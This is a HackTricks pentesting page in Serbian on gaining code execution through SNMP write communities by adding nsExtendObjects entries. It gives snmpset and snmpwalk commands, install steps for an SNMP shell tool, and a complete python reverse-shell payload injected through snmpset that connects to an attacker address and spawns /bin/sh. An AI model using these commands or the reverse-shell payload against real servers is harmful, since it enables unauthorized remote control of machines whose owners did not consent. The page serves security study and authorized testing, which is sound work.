5 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
SNMP RCE
SNMP može biti iskorišćen od strane napadača ako administrator zanemari njegovu podrazumevanu konfiguraciju na uređaju ili serveru. Korišćenjem SNMP zajednice sa pravima pisanja (rwcommunity) na Linux operativnom sistemu, napadač može izvršiti komande na serveru.
Proširenje usluga dodatnim komandama
Da bi se proširile SNMP usluge i dodale dodatne komande, moguće je dodati nove redove u tabelu "nsExtendObjects". To se može postići korišćenjem snmpset
komande i pružanjem neophodnih parametara, uključujući apsolutnu putanju do izvršne datoteke i komandu koja treba da se izvrši:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Umetanje komandi za izvršenje
Umetanje komandi za pokretanje na SNMP servisu zahteva postojanje i izvršivost pozvanog binarnog fajla/skripte. NET-SNMP-EXTEND-MIB
nalaže pružanje apsolutne putanje do izvršnog fajla.
Da bi se potvrdilo izvršenje umetnute komande, može se koristiti komanda snmpwalk
za enumeraciju SNMP servisa. izlaz će prikazati komandu i njene povezane detalje, uključujući apsolutnu putanju:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Pokretanje Ubrizganih Komandi
Kada se ubrizgana komanda pročita, ona se izvršava. Ovo ponašanje je poznato kao run-on-read()
. Izvršenje komande može se posmatrati tokom snmpwalk čitanja.
Sticanje Server Shell-a sa SNMP
Da biste preuzeli kontrolu nad serverom i dobili server shell, može se koristiti python skripta koju je razvio mxrch sa https://github.com/mxrch/snmp-shell.git.
Alternativno, reverzni shell se može ručno kreirati ubrizgavanjem specifične komande u SNMP. Ova komanda, koju pokreće snmpwalk, uspostavlja reverznu shell vezu sa mašinom napadača, omogućavajući kontrolu nad mašinom žrtve. Možete instalirati pre-requisite za pokretanje ovoga:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Ili obrnuta ljuska:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
References
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.